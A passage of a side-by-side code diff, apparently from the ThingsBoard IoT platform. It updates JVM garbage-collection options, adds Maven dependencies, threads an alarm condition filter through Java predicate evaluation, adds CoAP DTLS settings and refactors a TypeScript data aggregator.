30 | - export JAVA_OPTS="$JAVA_OPTS -XX:+CMSEdenChunksRecordAlways -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -XX:+ExitOnOutOfMemoryError" | 26 | + export JAVA_OPTS="$JAVA_OPTS -Xlog:gc*,heap*,age*,safepoint=debug:file=/var/log/tb-mqtt-transport/${TB_SERVICE_ID}-gc.log:time,uptime,level,tags:filecount=10,filesize=10M" |
27 | + export JAVA_OPTS="$JAVA_OPTS -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/tb-mqtt-transport/${TB_SERVICE_ID}-heapdump.bin" | ||
28 | + export JAVA_OPTS="$JAVA_OPTS -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark" | ||
29 | + export JAVA_OPTS="$JAVA_OPTS -XX:+UseG1GC -XX:MaxGCPauseMillis=500 -XX:+UseStringDeduplication -XX:+ParallelRefProcEnabled -XX:MaxTenuringThreshold=10" | ||
30 | + export JAVA_OPTS="$JAVA_OPTS -XX:+ExitOnOutOfMemoryError" | ||
31 | export LOG_FILENAME=tb-mqtt-transport.out | 31 | export LOG_FILENAME=tb-mqtt-transport.out |
32 | export LOADER_PATH=/usr/share/tb-mqtt-transport/conf | 32 | export LOADER_PATH=/usr/share/tb-mqtt-transport/conf |
33 | logback: | | 33 | logback: | |
@@ -24,11 +24,11 @@ metadata: | @@ -24,11 +24,11 @@ metadata: | ||
24 | data: | 24 | data: |
25 | conf: | | 25 | conf: | |
26 | export JAVA_OPTS="$JAVA_OPTS -Dplatform=deb -Dinstall.data_dir=/usr/share/thingsboard/data" | 26 | export JAVA_OPTS="$JAVA_OPTS -Dplatform=deb -Dinstall.data_dir=/usr/share/thingsboard/data" |
27 | - export JAVA_OPTS="$JAVA_OPTS -Xloggc:/var/log/thingsboard/${TB_SERVICE_ID}/gc.log -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/thingsboard/${TB_SERVICE_ID}/heapdump.bin -XX:+PrintGCDetails -XX:+PrintGCDateStamps" | ||
28 | - export JAVA_OPTS="$JAVA_OPTS -XX:+PrintHeapAtGC -XX:+PrintTenuringDistribution -XX:+PrintGCApplicationStoppedTime -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=10" | ||
29 | - export JAVA_OPTS="$JAVA_OPTS -XX:GCLogFileSize=10M -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark" | ||
30 | - export JAVA_OPTS="$JAVA_OPTS -XX:CMSWaitDuration=10000 -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:+CMSParallelRemarkEnabled -XX:+CMSParallelInitialMarkEnabled" | ||
31 | - export JAVA_OPTS="$JAVA_OPTS -XX:+CMSEdenChunksRecordAlways -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -XX:+ExitOnOutOfMemoryError" | 27 | + export JAVA_OPTS="$JAVA_OPTS -Xlog:gc*,heap*,age*,safepoint=debug:file=/var/log/thingsboard/${TB_SERVICE_ID}-gc.log:time,uptime,level,tags:filecount=10,filesize=10M" |
28 | + export JAVA_OPTS="$JAVA_OPTS -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/thingsboard/${TB_SERVICE_ID}-heapdump.bin" | ||
29 | + export JAVA_OPTS="$JAVA_OPTS -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark" | ||
30 | + export JAVA_OPTS="$JAVA_OPTS -XX:+UseG1GC -XX:MaxGCPauseMillis=500 -XX:+UseStringDeduplication -XX:+ParallelRefProcEnabled -XX:MaxTenuringThreshold=10" | ||
31 | + export JAVA_OPTS="$JAVA_OPTS -XX:+ExitOnOutOfMemoryError" | ||
32 | export LOG_FILENAME=thingsboard.out | 32 | export LOG_FILENAME=thingsboard.out |
33 | export LOADER_PATH=/usr/share/thingsboard/conf,/usr/share/thingsboard/extensions | 33 | export LOADER_PATH=/usr/share/thingsboard/conf,/usr/share/thingsboard/extensions |
34 | logback: | | 34 | logback: | |
@@ -47,6 +47,7 @@ | @@ -47,6 +47,7 @@ | ||
47 | <jjwt.version>0.7.0</jjwt.version> | 47 | <jjwt.version>0.7.0</jjwt.version> |
48 | <json-path.version>2.2.0</json-path.version> | 48 | <json-path.version>2.2.0</json-path.version> |
49 | <junit.version>4.12</junit.version> | 49 | <junit.version>4.12</junit.version> |
50 | + <jupiter.version>5.7.1</jupiter.version> | ||
50 | <slf4j.version>1.7.7</slf4j.version> | 51 | <slf4j.version>1.7.7</slf4j.version> |
51 | <logback.version>1.2.3</logback.version> | 52 | <logback.version>1.2.3</logback.version> |
52 | <mockito.version>3.3.3</mockito.version> | 53 | <mockito.version>3.3.3</mockito.version> |
@@ -116,6 +117,10 @@ | @@ -116,6 +117,10 @@ | ||
116 | <protobuf-dynamic.version>1.0.2TB</protobuf-dynamic.version> | 117 | <protobuf-dynamic.version>1.0.2TB</protobuf-dynamic.version> |
117 | <wire-schema.version>3.4.0</wire-schema.version> | 118 | <wire-schema.version>3.4.0</wire-schema.version> |
118 | <twilio.version>7.54.2</twilio.version> | 119 | <twilio.version>7.54.2</twilio.version> |
120 | + <hibernate-validator.version>6.0.13.Final</hibernate-validator.version> | ||
121 | + <javax.el.version>3.0.0</javax.el.version> | ||
122 | + <javax.validation-api.version>2.0.1.Final</javax.validation-api.version> | ||
123 | + <antisamy.version>1.6.2</antisamy.version> | ||
119 | </properties> | 124 | </properties> |
120 | 125 | ||
121 | <modules> | 126 | <modules> |
@@ -1237,6 +1242,11 @@ | @@ -1237,6 +1242,11 @@ | ||
1237 | <scope>test</scope> | 1242 | <scope>test</scope> |
1238 | </dependency> | 1243 | </dependency> |
1239 | <dependency> | 1244 | <dependency> |
1245 | + <groupId>org.eclipse.californium</groupId> | ||
1246 | + <artifactId>scandium</artifactId> | ||
1247 | + <version>${californium.version}</version> | ||
1248 | + </dependency> | ||
1249 | + <dependency> | ||
1240 | <groupId>com.google.code.gson</groupId> | 1250 | <groupId>com.google.code.gson</groupId> |
1241 | <artifactId>gson</artifactId> | 1251 | <artifactId>gson</artifactId> |
1242 | <version>${gson.version}</version> | 1252 | <version>${gson.version}</version> |
@@ -1341,6 +1351,12 @@ | @@ -1341,6 +1351,12 @@ | ||
1341 | <scope>test</scope> | 1351 | <scope>test</scope> |
1342 | </dependency> | 1352 | </dependency> |
1343 | <dependency> | 1353 | <dependency> |
1354 | + <groupId>org.junit.jupiter</groupId> | ||
1355 | + <artifactId>junit-jupiter-params</artifactId> | ||
1356 | + <version>${jupiter.version}</version> | ||
1357 | + <scope>test</scope> | ||
1358 | + </dependency> | ||
1359 | + <dependency> | ||
1344 | <groupId>org.dbunit</groupId> | 1360 | <groupId>org.dbunit</groupId> |
1345 | <artifactId>dbunit</artifactId> | 1361 | <artifactId>dbunit</artifactId> |
1346 | <version>${dbunit.version}</version> | 1362 | <version>${dbunit.version}</version> |
@@ -1537,6 +1553,36 @@ | @@ -1537,6 +1553,36 @@ | ||
1537 | </exclusion> | 1553 | </exclusion> |
1538 | </exclusions> | 1554 | </exclusions> |
1539 | </dependency> | 1555 | </dependency> |
1556 | + <dependency> | ||
1557 | + <groupId>org.hibernate.validator</groupId> | ||
1558 | + <artifactId>hibernate-validator</artifactId> | ||
1559 | + <version>${hibernate-validator.version}</version> | ||
1560 | + </dependency> | ||
1561 | + <dependency> | ||
1562 | + <groupId>org.glassfish</groupId> | ||
1563 | + <artifactId>javax.el</artifactId> | ||
1564 | + <version>${javax.el.version}</version> | ||
1565 | + </dependency> | ||
1566 | + <dependency> | ||
1567 | + <groupId>javax.validation</groupId> | ||
1568 | + <artifactId>validation-api</artifactId> | ||
1569 | + <version>${javax.validation-api.version}</version> | ||
1570 | + </dependency> | ||
1571 | + <dependency> | ||
1572 | + <groupId>org.owasp.antisamy</groupId> | ||
1573 | + <artifactId>antisamy</artifactId> | ||
1574 | + <version>${antisamy.version}</version> | ||
1575 | + <exclusions> | ||
1576 | + <exclusion> | ||
1577 | + <groupId>org.slf4j</groupId> | ||
1578 | + <artifactId>*</artifactId> | ||
1579 | + </exclusion> | ||
1580 | + <exclusion> | ||
1581 | + <groupId>com.github.spotbugs</groupId> | ||
1582 | + <artifactId>spotbugs-annotations</artifactId> | ||
1583 | + </exclusion> | ||
1584 | + </exclusions> | ||
1585 | + </dependency> | ||
1540 | </dependencies> | 1586 | </dependencies> |
1541 | </dependencyManagement> | 1587 | </dependencyManagement> |
1542 | 1588 |
@@ -33,10 +33,7 @@ import org.thingsboard.server.common.data.device.profile.SimpleAlarmConditionSpe | @@ -33,10 +33,7 @@ import org.thingsboard.server.common.data.device.profile.SimpleAlarmConditionSpe | ||
33 | import org.thingsboard.server.common.data.device.profile.SpecificTimeSchedule; | 33 | import org.thingsboard.server.common.data.device.profile.SpecificTimeSchedule; |
34 | import org.thingsboard.server.common.data.query.BooleanFilterPredicate; | 34 | import org.thingsboard.server.common.data.query.BooleanFilterPredicate; |
35 | import org.thingsboard.server.common.data.query.ComplexFilterPredicate; | 35 | import org.thingsboard.server.common.data.query.ComplexFilterPredicate; |
36 | -import org.thingsboard.server.common.data.query.EntityKey; | ||
37 | -import org.thingsboard.server.common.data.query.EntityKeyType; | ||
38 | import org.thingsboard.server.common.data.query.FilterPredicateValue; | 36 | import org.thingsboard.server.common.data.query.FilterPredicateValue; |
39 | -import org.thingsboard.server.common.data.query.KeyFilter; | ||
40 | import org.thingsboard.server.common.data.query.KeyFilterPredicate; | 37 | import org.thingsboard.server.common.data.query.KeyFilterPredicate; |
41 | import org.thingsboard.server.common.data.query.NumericFilterPredicate; | 38 | import org.thingsboard.server.common.data.query.NumericFilterPredicate; |
42 | import org.thingsboard.server.common.data.query.StringFilterPredicate; | 39 | import org.thingsboard.server.common.data.query.StringFilterPredicate; |
@@ -275,7 +272,7 @@ class AlarmRuleState { | @@ -275,7 +272,7 @@ class AlarmRuleState { | ||
275 | if (value == null) { | 272 | if (value == null) { |
276 | return false; | 273 | return false; |
277 | } | 274 | } |
278 | - eval = eval && eval(data, value, filter.getPredicate()); | 275 | + eval = eval && eval(data, value, filter.getPredicate(), filter); |
279 | } | 276 | } |
280 | return eval; | 277 | return eval; |
281 | } | 278 | } |
@@ -300,33 +297,33 @@ class AlarmRuleState { | @@ -300,33 +297,33 @@ class AlarmRuleState { | ||
300 | return value; | 297 | return value; |
301 | } | 298 | } |
302 | 299 | ||
303 | - private boolean eval(DataSnapshot data, EntityKeyValue value, KeyFilterPredicate predicate) { | 300 | + private boolean eval(DataSnapshot data, EntityKeyValue value, KeyFilterPredicate predicate, AlarmConditionFilter filter) { |
304 | switch (predicate.getType()) { | 301 | switch (predicate.getType()) { |
305 | case STRING: | 302 | case STRING: |
306 | - return evalStrPredicate(data, value, (StringFilterPredicate) predicate); | 303 | + return evalStrPredicate(data, value, (StringFilterPredicate) predicate, filter); |
307 | case NUMERIC: | 304 | case NUMERIC: |
308 | - return evalNumPredicate(data, value, (NumericFilterPredicate) predicate); | 305 | + return evalNumPredicate(data, value, (NumericFilterPredicate) predicate, filter); |
309 | case BOOLEAN: | 306 | case BOOLEAN: |
310 | - return evalBoolPredicate(data, value, (BooleanFilterPredicate) predicate); | 307 | + return evalBoolPredicate(data, value, (BooleanFilterPredicate) predicate, filter); |
311 | case COMPLEX: | 308 | case COMPLEX: |
312 | - return evalComplexPredicate(data, value, (ComplexFilterPredicate) predicate); | 309 | + return evalComplexPredicate(data, value, (ComplexFilterPredicate) predicate, filter); |
313 | default: | 310 | default: |
314 | return false; | 311 | return false; |
315 | } | 312 | } |
316 | } | 313 | } |
317 | 314 | ||
318 | - private boolean evalComplexPredicate(DataSnapshot data, EntityKeyValue ekv, ComplexFilterPredicate predicate) { | 315 | + private boolean evalComplexPredicate(DataSnapshot data, EntityKeyValue ekv, ComplexFilterPredicate predicate, AlarmConditionFilter filter) { |
319 | switch (predicate.getOperation()) { | 316 | switch (predicate.getOperation()) { |
320 | case OR: | 317 | case OR: |
321 | for (KeyFilterPredicate kfp : predicate.getPredicates()) { | 318 | for (KeyFilterPredicate kfp : predicate.getPredicates()) { |
322 | - if (eval(data, ekv, kfp)) { | 319 | + if (eval(data, ekv, kfp, filter)) { |
323 | return true; | 320 | return true; |
324 | } | 321 | } |
325 | } | 322 | } |
326 | return false; | 323 | return false; |
327 | case AND: | 324 | case AND: |
328 | for (KeyFilterPredicate kfp : predicate.getPredicates()) { | 325 | for (KeyFilterPredicate kfp : predicate.getPredicates()) { |
329 | - if (!eval(data, ekv, kfp)) { | 326 | + if (!eval(data, ekv, kfp, filter)) { |
330 | return false; | 327 | return false; |
331 | } | 328 | } |
332 | } | 329 | } |
@@ -336,12 +333,15 @@ class AlarmRuleState { | @@ -336,12 +333,15 @@ class AlarmRuleState { | ||
336 | } | 333 | } |
337 | } | 334 | } |
338 | 335 | ||
339 | - private boolean evalBoolPredicate(DataSnapshot data, EntityKeyValue ekv, BooleanFilterPredicate predicate) { | 336 | + private boolean evalBoolPredicate(DataSnapshot data, EntityKeyValue ekv, BooleanFilterPredicate predicate, AlarmConditionFilter filter) { |
340 | Boolean val = getBoolValue(ekv); | 337 | Boolean val = getBoolValue(ekv); |
341 | if (val == null) { | 338 | if (val == null) { |
342 | return false; | 339 | return false; |
343 | } | 340 | } |
344 | - Boolean predicateValue = getPredicateValue(data, predicate.getValue(), AlarmRuleState::getBoolValue); | 341 | + Boolean predicateValue = getPredicateValue(data, predicate.getValue(), filter, AlarmRuleState::getBoolValue); |
342 | + if (predicateValue == null) { | ||
343 | + return false; | ||
344 | + } | ||
345 | switch (predicate.getOperation()) { | 345 | switch (predicate.getOperation()) { |
346 | case EQUAL: | 346 | case EQUAL: |
347 | return val.equals(predicateValue); | 347 | return val.equals(predicateValue); |
@@ -352,12 +352,15 @@ class AlarmRuleState { | @@ -352,12 +352,15 @@ class AlarmRuleState { | ||
352 | } | 352 | } |
353 | } | 353 | } |
354 | 354 | ||
355 | - private boolean evalNumPredicate(DataSnapshot data, EntityKeyValue ekv, NumericFilterPredicate predicate) { | 355 | + private boolean evalNumPredicate(DataSnapshot data, EntityKeyValue ekv, NumericFilterPredicate predicate, AlarmConditionFilter filter) { |
356 | Double val = getDblValue(ekv); | 356 | Double val = getDblValue(ekv); |
357 | if (val == null) { | 357 | if (val == null) { |
358 | return false; | 358 | return false; |
359 | } | 359 | } |
360 | - Double predicateValue = getPredicateValue(data, predicate.getValue(), AlarmRuleState::getDblValue); | 360 | + Double predicateValue = getPredicateValue(data, predicate.getValue(), filter, AlarmRuleState::getDblValue); |
361 | + if (predicateValue == null) { | ||
362 | + return false; | ||
363 | + } | ||
361 | switch (predicate.getOperation()) { | 364 | switch (predicate.getOperation()) { |
362 | case NOT_EQUAL: | 365 | case NOT_EQUAL: |
363 | return !val.equals(predicateValue); | 366 | return !val.equals(predicateValue); |
@@ -376,12 +379,15 @@ class AlarmRuleState { | @@ -376,12 +379,15 @@ class AlarmRuleState { | ||
376 | } | 379 | } |
377 | } | 380 | } |
378 | 381 | ||
379 | - private boolean evalStrPredicate(DataSnapshot data, EntityKeyValue ekv, StringFilterPredicate predicate) { | 382 | + private boolean evalStrPredicate(DataSnapshot data, EntityKeyValue ekv, StringFilterPredicate predicate, AlarmConditionFilter filter) { |
380 | String val = getStrValue(ekv); | 383 | String val = getStrValue(ekv); |
381 | if (val == null) { | 384 | if (val == null) { |
382 | return false; | 385 | return false; |
383 | } | 386 | } |
384 | - String predicateValue = getPredicateValue(data, predicate.getValue(), AlarmRuleState::getStrValue); | 387 | + String predicateValue = getPredicateValue(data, predicate.getValue(), filter, AlarmRuleState::getStrValue); |
388 | + if (predicateValue == null) { | ||
389 | + return false; | ||
390 | + } | ||
385 | if (predicate.isIgnoreCase()) { | 391 | if (predicate.isIgnoreCase()) { |
386 | val = val.toLowerCase(); | 392 | val = val.toLowerCase(); |
387 | predicateValue = predicateValue.toLowerCase(); | 393 | predicateValue = predicateValue.toLowerCase(); |
@@ -404,7 +410,7 @@ class AlarmRuleState { | @@ -404,7 +410,7 @@ class AlarmRuleState { | ||
404 | } | 410 | } |
405 | } | 411 | } |
406 | 412 | ||
407 | - private <T> T getPredicateValue(DataSnapshot data, FilterPredicateValue<T> value, Function<EntityKeyValue, T> transformFunction) { | 413 | + private <T> T getPredicateValue(DataSnapshot data, FilterPredicateValue<T> value, AlarmConditionFilter filter, Function<EntityKeyValue, T> transformFunction) { |
408 | EntityKeyValue ekv = getDynamicPredicateValue(data, value); | 414 | EntityKeyValue ekv = getDynamicPredicateValue(data, value); |
409 | if (ekv != null) { | 415 | if (ekv != null) { |
410 | T result = transformFunction.apply(ekv); | 416 | T result = transformFunction.apply(ekv); |
@@ -412,7 +418,11 @@ class AlarmRuleState { | @@ -412,7 +418,11 @@ class AlarmRuleState { | ||
412 | return result; | 418 | return result; |
413 | } | 419 | } |
414 | } | 420 | } |
415 | - return value.getDefaultValue(); | 421 | + if (filter.getKey().getType() != AlarmConditionKeyType.CONSTANT) { |
422 | + return value.getDefaultValue(); | ||
423 | + } else { | ||
424 | + return null; | ||
425 | + } | ||
416 | } | 426 | } |
417 | 427 | ||
418 | private <T> EntityKeyValue getDynamicPredicateValue(DataSnapshot data, FilterPredicateValue<T> value) { | 428 | private <T> EntityKeyValue getDynamicPredicateValue(DataSnapshot data, FilterPredicateValue<T> value) { |
@@ -46,6 +46,24 @@ transport: | @@ -46,6 +46,24 @@ transport: | ||
46 | bind_address: "${COAP_BIND_ADDRESS:0.0.0.0}" | 46 | bind_address: "${COAP_BIND_ADDRESS:0.0.0.0}" |
47 | bind_port: "${COAP_BIND_PORT:5683}" | 47 | bind_port: "${COAP_BIND_PORT:5683}" |
48 | timeout: "${COAP_TIMEOUT:10000}" | 48 | timeout: "${COAP_TIMEOUT:10000}" |
49 | + dtls: | ||
50 | + # Enable/disable DTLS 1.2 support | ||
51 | + enabled: "${COAP_DTLS_ENABLED:false}" | ||
52 | + # Secure mode. Allowed values: NO_AUTH, X509 | ||
53 | + mode: "${COAP_DTLS_SECURE_MODE:NO_AUTH}" | ||
54 | + # Path to the key store that holds the certificate | ||
55 | + key_store: "${COAP_DTLS_KEY_STORE:coapserver.jks}" | ||
56 | + # Password used to access the key store | ||
57 | + key_store_password: "${COAP_DTLS_KEY_STORE_PASSWORD:server_ks_password}" | ||
58 | + # Password used to access the key | ||
59 | + key_password: "${COAP_DTLS_KEY_PASSWORD:server_key_password}" | ||
60 | + # Key alias | ||
61 | + key_alias: "${COAP_DTLS_KEY_ALIAS:serveralias}" | ||
62 | + # Skip certificate validity check for client certificates. | ||
63 | + skip_validity_check_for_client_cert: "${COAP_DTLS_SKIP_VALIDITY_CHECK_FOR_CLIENT_CERT:false}" | ||
64 | + x509: | ||
65 | + dtls_session_inactivity_timeout: "${TB_COAP_X509_DTLS_SESSION_INACTIVITY_TIMEOUT:86400000}" | ||
66 | + dtls_session_report_timeout: "${TB_COAP_X509_DTLS_SESSION_REPORT_TIMEOUT:1800000}" | ||
49 | sessions: | 67 | sessions: |
50 | inactivity_timeout: "${TB_TRANSPORT_SESSIONS_INACTIVITY_TIMEOUT:300000}" | 68 | inactivity_timeout: "${TB_TRANSPORT_SESSIONS_INACTIVITY_TIMEOUT:300000}" |
51 | report_timeout: "${TB_TRANSPORT_SESSIONS_REPORT_TIMEOUT:30000}" | 69 | report_timeout: "${TB_TRANSPORT_SESSIONS_REPORT_TIMEOUT:30000}" |
@@ -17,10 +17,9 @@ | @@ -17,10 +17,9 @@ | ||
17 | import { SubscriptionData, SubscriptionDataHolder } from '@app/shared/models/telemetry/telemetry.models'; | 17 | import { SubscriptionData, SubscriptionDataHolder } from '@app/shared/models/telemetry/telemetry.models'; |
18 | import { | 18 | import { |
19 | AggregationType, calculateIntervalComparisonEndTime, | 19 | AggregationType, calculateIntervalComparisonEndTime, |
20 | - calculateIntervalEndTime, | ||
21 | - calculateIntervalStartTime, | 20 | + calculateIntervalEndTime, calculateIntervalStartEndTime, |
22 | getCurrentTime, | 21 | getCurrentTime, |
23 | - getCurrentTimeForComparison, | 22 | + getCurrentTimeForComparison, getTime, |
24 | SubscriptionTimewindow | 23 | SubscriptionTimewindow |
25 | } from '@shared/models/time/time.models'; | 24 | } from '@shared/models/time/time.models'; |
26 | import { UtilsService } from '@core/services/utils.service'; | 25 | import { UtilsService } from '@core/services/utils.service'; |
@@ -36,8 +35,56 @@ interface AggData { | @@ -36,8 +35,56 @@ interface AggData { | ||
36 | aggValue: any; | 35 | aggValue: any; |
37 | } | 36 | } |
38 | 37 | ||
39 | -interface AggregationMap { | ||
40 | - [key: string]: Map<number, AggData>; | 38 | +class AggDataMap { |
39 | + rangeChanged = false; | ||
40 | + private minTs = Number.MAX_SAFE_INTEGER; | ||
41 | + private map = new Map<number, AggData>(); | ||
42 | + | ||
43 | + set(ts: number, data: AggData) { | ||
44 | + if (ts < this.minTs) { | ||
45 | + this.rangeChanged = true; | ||
46 | + this.minTs = ts; | ||
47 | + } | ||
48 | + this.map.set(ts, data); | ||
49 | + } | ||
50 | + | ||
51 | + get(ts: number): AggData { | ||
52 | + return this.map.get(ts); | ||
53 | + } | ||
54 | + | ||
55 | + delete(ts: number) { | ||
56 | + this.map.delete(ts); | ||
57 | + } | ||
58 | + | ||
59 | + forEach(callback: (value: AggData, key: number, map: Map<number, AggData>) => void, thisArg?: any) { | ||
60 | + this.map.forEach(callback, thisArg); | ||
61 | + } | ||
62 | + | ||
63 | + size(): number { | ||
64 | + return this.map.size; | ||
65 | + } | ||
66 | +} | ||
67 | + | ||
68 | +class AggregationMap { | ||
69 | + aggMap: {[key: string]: AggDataMap} = {}; | ||
70 | + | ||
71 | + detectRangeChanged(): boolean { | ||
72 | + let changed = false; | ||
73 | + for (const key of Object.keys(this.aggMap)) { | ||
74 | + const aggDataMap = this.aggMap[key]; | ||
75 | + if (aggDataMap.rangeChanged) { | ||
76 | + changed = true; | ||
77 | + aggDataMap.rangeChanged = false; | ||
78 | + } | ||
79 | + } | ||
80 | + return changed; | ||
81 | + } | ||
82 | + | ||
83 | + clearRangeChangedFlags() { | ||
84 | + for (const key of Object.keys(this.aggMap)) { | ||
85 | + this.aggMap[key].rangeChanged = false; | ||
86 | + } | ||
87 | + } | ||
41 | } | 88 | } |
42 | 89 | ||
43 | declare type AggFunction = (aggData: AggData, value?: any) => void; | 90 | declare type AggFunction = (aggData: AggData, value?: any) => void; |
@@ -170,7 +217,7 @@ export class DataAggregator { | @@ -170,7 +217,7 @@ export class DataAggregator { | ||
170 | updateIntervalScheduledTime = false; | 217 | updateIntervalScheduledTime = false; |
171 | } | 218 | } |
172 | if (update) { | 219 | if (update) { |
173 | - this.aggregationMap = {}; | 220 | + this.aggregationMap = new AggregationMap(); |
174 | this.updateAggregatedData(data.data); | 221 | this.updateAggregatedData(data.data); |
175 | } else { | 222 | } else { |
176 | this.aggregationMap = this.processAggregatedData(data.data); | 223 | this.aggregationMap = this.processAggregatedData(data.data); |
@@ -178,12 +225,17 @@ export class DataAggregator { | @@ -178,12 +225,17 @@ export class DataAggregator { | ||
178 | if (updateIntervalScheduledTime) { | 225 | if (updateIntervalScheduledTime) { |
179 | this.intervalScheduledTime = this.utils.currentPerfTime(); | 226 | this.intervalScheduledTime = this.utils.currentPerfTime(); |
180 | } | 227 | } |
228 | + this.aggregationMap.clearRangeChangedFlags(); | ||
181 | this.onInterval(history, detectChanges); | 229 | this.onInterval(history, detectChanges); |
182 | } else { | 230 | } else { |
183 | this.updateAggregatedData(data.data); | 231 | this.updateAggregatedData(data.data); |
184 | if (history) { | 232 | if (history) { |
185 | this.intervalScheduledTime = this.utils.currentPerfTime(); | 233 | this.intervalScheduledTime = this.utils.currentPerfTime(); |
186 | this.onInterval(history, detectChanges); | 234 | this.onInterval(history, detectChanges); |
235 | + } else { | ||
236 | + if (this.aggregationMap.detectRangeChanged()) { | ||
237 | + this.onInterval(false, detectChanges, true); | ||
238 | + } | ||
187 | } | 239 | } |
188 | } | 240 | } |
189 | } | 241 | } |
@@ -192,18 +244,19 @@ export class DataAggregator { | @@ -192,18 +244,19 @@ export class DataAggregator { | ||
192 | this.startTs = this.subsTw.startTs + this.subsTw.tsOffset; | 244 | this.startTs = this.subsTw.startTs + this.subsTw.tsOffset; |
193 | if (this.subsTw.quickInterval) { | 245 | if (this.subsTw.quickInterval) { |
194 | if (this.subsTw.timeForComparison === 'previousInterval') { | 246 | if (this.subsTw.timeForComparison === 'previousInterval') { |
247 | + const startDate = getTime(this.subsTw.startTs, this.subsTw.timezone); | ||
195 | const currentDate = getCurrentTime(this.subsTw.timezone); | 248 | const currentDate = getCurrentTime(this.subsTw.timezone); |
196 | - this.endTs = calculateIntervalComparisonEndTime(this.subsTw.quickInterval, currentDate) + this.subsTw.tsOffset; | 249 | + this.endTs = calculateIntervalComparisonEndTime(this.subsTw.quickInterval, startDate, currentDate) + this.subsTw.tsOffset; |
197 | } else { | 250 | } else { |
198 | - const currentDate = this.getCurrentTime(); | ||
199 | - this.endTs = calculateIntervalEndTime(this.subsTw.quickInterval, currentDate) + this.subsTw.tsOffset; | 251 | + const startDate = getTime(this.subsTw.startTs, this.subsTw.timezone); |
252 | + this.endTs = calculateIntervalEndTime(this.subsTw.quickInterval, startDate, this.subsTw.timezone) + this.subsTw.tsOffset; | ||
200 | } | 253 | } |
201 | } else { | 254 | } else { |
202 | this.endTs = this.startTs + this.subsTw.aggregation.timeWindow; | 255 | this.endTs = this.startTs + this.subsTw.aggregation.timeWindow; |
203 | } | 256 | } |
204 | } | 257 | } |
205 | 258 | ||
206 | - private onInterval(history?: boolean, detectChanges?: boolean) { | 259 | + private onInterval(history?: boolean, detectChanges?: boolean, rangeChanged?: boolean) { |
207 | const now = this.utils.currentPerfTime(); | 260 | const now = this.utils.currentPerfTime(); |
208 | this.elapsed += now - this.intervalScheduledTime; | 261 | this.elapsed += now - this.intervalScheduledTime; |
209 | this.intervalScheduledTime = now; | 262 | this.intervalScheduledTime = now; |
@@ -211,14 +264,15 @@ export class DataAggregator { | @@ -211,14 +264,15 @@ export class DataAggregator { | ||
211 | clearTimeout(this.intervalTimeoutHandle); | 264 | clearTimeout(this.intervalTimeoutHandle); |
212 | this.intervalTimeoutHandle = null; | 265 | this.intervalTimeoutHandle = null; |
213 | } | 266 | } |
267 | + const intervalTimeout = rangeChanged ? this.aggregationTimeout - this.elapsed : this.aggregationTimeout; | ||
214 | if (!history) { | 268 | if (!history) { |
215 | const delta = Math.floor(this.elapsed / this.subsTw.aggregation.interval); | 269 | const delta = Math.floor(this.elapsed / this.subsTw.aggregation.interval); |
216 | - if (delta || !this.data) { | 270 | + if (delta || !this.data || rangeChanged) { |
217 | const tickTs = delta * this.subsTw.aggregation.interval; | 271 | const tickTs = delta * this.subsTw.aggregation.interval; |
218 | if (this.subsTw.quickInterval) { | 272 | if (this.subsTw.quickInterval) { |
219 | - const currentDate = this.getCurrentTime(); | ||
220 | - this.startTs = calculateIntervalStartTime(this.subsTw.quickInterval, currentDate) + this.subsTw.tsOffset; | ||
221 | - this.endTs = calculateIntervalEndTime(this.subsTw.quickInterval, currentDate) + this.subsTw.tsOffset; | 273 | + const startEndTime = calculateIntervalStartEndTime(this.subsTw.quickInterval, this.subsTw.timezone); |
274 | + this.startTs = startEndTime[0] + this.subsTw.tsOffset; | ||
275 | + this.endTs = startEndTime[1] + this.subsTw.tsOffset; | ||
222 | } else { | 276 | } else { |
223 | this.startTs += tickTs; | 277 | this.startTs += tickTs; |
224 | this.endTs += tickTs; | 278 | this.endTs += tickTs; |
@@ -234,7 +288,7 @@ export class DataAggregator { | @@ -234,7 +288,7 @@ export class DataAggregator { | ||
234 | this.updatedData = false; | 288 | this.updatedData = false; |
235 | } | 289 | } |
236 | if (!history) { | 290 | if (!history) { |
237 | - this.intervalTimeoutHandle = setTimeout(this.onInterval.bind(this), this.aggregationTimeout); | 291 | + this.intervalTimeoutHandle = setTimeout(this.onInterval.bind(this), intervalTimeout); |
238 | } | 292 | } |
239 | } | 293 | } |
240 | 294 | ||
@@ -242,18 +296,18 @@ export class DataAggregator { | @@ -242,18 +296,18 @@ export class DataAggregator { | ||
242 | this.tsKeyNames.forEach((key) => { | 296 | this.tsKeyNames.forEach((key) => { |
243 | this.dataBuffer[key] = []; | 297 | this.dataBuffer[key] = []; |
244 | }); | 298 | }); |
245 | - for (const key of Object.keys(this.aggregationMap)) { | ||
246 | - const aggKeyData = this.aggregationMap[key]; | 299 | + for (const key of Object.keys(this.aggregationMap.aggMap)) { |
300 | + const aggKeyData = this.aggregationMap.aggMap[key]; | ||
247 | let keyData = this.dataBuffer[key]; | 301 | let keyData = this.dataBuffer[key]; |
248 | aggKeyData.forEach((aggData, aggTimestamp) => { | 302 | aggKeyData.forEach((aggData, aggTimestamp) => { |
249 | - if (aggTimestamp <= this.startTs) { | 303 | + if (aggTimestamp < this.startTs) { |
250 | if (this.subsTw.aggregation.stateData && | 304 | if (this.subsTw.aggregation.stateData && |
251 | (!this.lastPrevKvPairData[key] || this.lastPrevKvPairData[key][0] < aggTimestamp)) { | 305 | (!this.lastPrevKvPairData[key] || this.lastPrevKvPairData[key][0] < aggTimestamp)) { |
252 | this.lastPrevKvPairData[key] = [aggTimestamp, aggData.aggValue]; | 306 | this.lastPrevKvPairData[key] = [aggTimestamp, aggData.aggValue]; |
